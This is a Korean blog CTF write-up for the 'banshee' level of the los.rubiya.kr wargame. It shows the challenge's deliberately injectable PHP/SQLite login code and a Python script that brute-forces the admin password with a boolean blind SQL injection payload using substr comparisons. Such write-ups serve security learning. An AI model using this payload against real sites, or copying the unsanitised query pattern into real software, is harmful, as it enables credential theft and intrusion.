웹찢남

banshee-writeup 본문

WEB_HACKING/los.rubiya.kr

banshee-writeup

harry595 2020. 1. 30. 21:04

<?php
  
include "./config.php";
  
login_chk();
  
$db sqlite_open("./db/banshee.db");
  if(
preg_match('/sqlite|member|_/i'$_GET[pw])) exit("No Hack ~_~"); 
  
$query "select id from member where id='admin' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result sqlite_fetch_array(sqlite_query($db,$query));
  if(
$result['id']) echo "<h2>login success!</h2>";

  
$query "select pw from member where id='admin'"
  
$result sqlite_fetch_array(sqlite_query($db,$query));
  if(
$result['pw'] === $_GET['pw']) solve("banshee"); 
  
highlight_file(__FILE__);
?>

 

단순한 bsi 다.

하던대로 코드를 짜서 돌렸는데 안됐다...

왜 그런가 해서 사이트에서 직접 이것저것 해보니까 substr 문을 비교할때 '로 감싸줘야 하는것 같다.

오랫만에 bsi를 해서 그런건지 sqlite여서 그런건지...ㅎ

어쨋든 CLEAR!!

 

import re
import requests
import time

flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,20):
        for j in range(48,128):
                        r=requests.post("https://los.rubiya.kr/chall/banshee_ece938c70ea2419a093bb0be9f01a7b1.php?pw=%27%20or%20id='admin'%20and%20substr(pw,"+str(i)+",1)=%27"+chr(j)+"%27%20--%20",cookies=session)
                        if 'login success!' in r.text:
                                flag=flag+str(chr(j))
                                print("finding pw: "+flag)
                                break
print("pw "+flag)


                

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

Nessie-writeup  (0) 2020.01.30
poltergeist-writeup  (0) 2020.01.30
manticore-writeup  (0) 2020.01.30
chupacabra-writeup  (0) 2020.01.30
cyclops-writeup  (0) 2020.01.30
Comments